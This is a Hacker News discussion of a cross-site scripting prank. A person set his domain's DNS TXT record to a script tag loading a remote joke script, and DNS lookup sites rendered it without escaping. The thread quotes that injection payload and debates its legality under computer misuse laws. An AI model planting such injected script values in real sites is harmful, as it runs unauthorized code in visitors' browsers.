That is from topkek.js. Pretty clever! It plays the harlem shake song. One element shakes by itself until the second phase of the song, then lots of other elements start shaking.

Cleverness aside, it is practical when looking for XSS vulnerabilities because it's very obvious when you've succeeded in injecting your code.

That made me laugh, good one :)

man...I woke up and got a dose of surprise....love this song.

isn't this technically illegal to demonstrate haha?

Why on earth would it be illegal?

What SHOULD be illegal is not sanitizing all inputs.

dam, that got downvoted into oblivion haha. honest question...

although i dont believe it should be, a third party injecting javascript to demonstrate an exploit might be...

Anybody saying "this is illegal" should be required to cite the law they think is broken and explain why the act in question violates that law.

He hasn't injected anything. It's just his public DNS record that this page has chosen to display without sanitizing.

I imagine the UK Computer Misuse Act (eg at Section 3, http://www.legislation.gov.uk/ukpga/1990/18) probably covers it if the person who altered the TXT field does so to cause websites to load code on purpose, that purpose being for example to impair (Section 3(2)(a)) the running of the computer [causing Rick Astley to play, defo counts!] - but it can be read to cover pretty much anything.

Similarly I imagine something like the CFAA (18 USC 1030) probably has broad enough clauses to make this sort of action technically illegal, at least in some cases? But I'm out of my depth on that one.

at least the UK has something somewhat specific (and actually fits XSS quite well).

CA 502c just says: "(3) Knowingly and without permission uses or causes to be used computer services" amongst other very broad subsections

http://support.piercecollege.edu/1521a/References/California...

So do you want to make it illegal to set the contents of your own domain's TXT record to:

"<script src='//peniscorp.com/topkek.js'></script>"

Because that is all this is.

What a bunch of nonsense. TXT records were intended for arbitrary use. Why in the world are these companies pulling data from unknown sources and dumping it RAW into their output? Wow. Good find, IMO.

[1] http://tools.ietf.org/html/rfc1464

I don't think it makes any sense for this to be illegal, but I can point to at least one example where sense didn't necessarily dictate "justice": http://www.ehackingnews.com/2013/12/anonymous-hacker-charged...

In which country's jurisdiction?

Those DNS lookup sites are pulling his information and putting it on their sites. He didn't ask for those records to be published!

Ah, so his TXT records actually serve a genuine purpose? ;)

Wonderful!

Luckily it does not work on my normal browser: https://www.whitehatsec.com/aviator/

Reply on news.ycombinator.com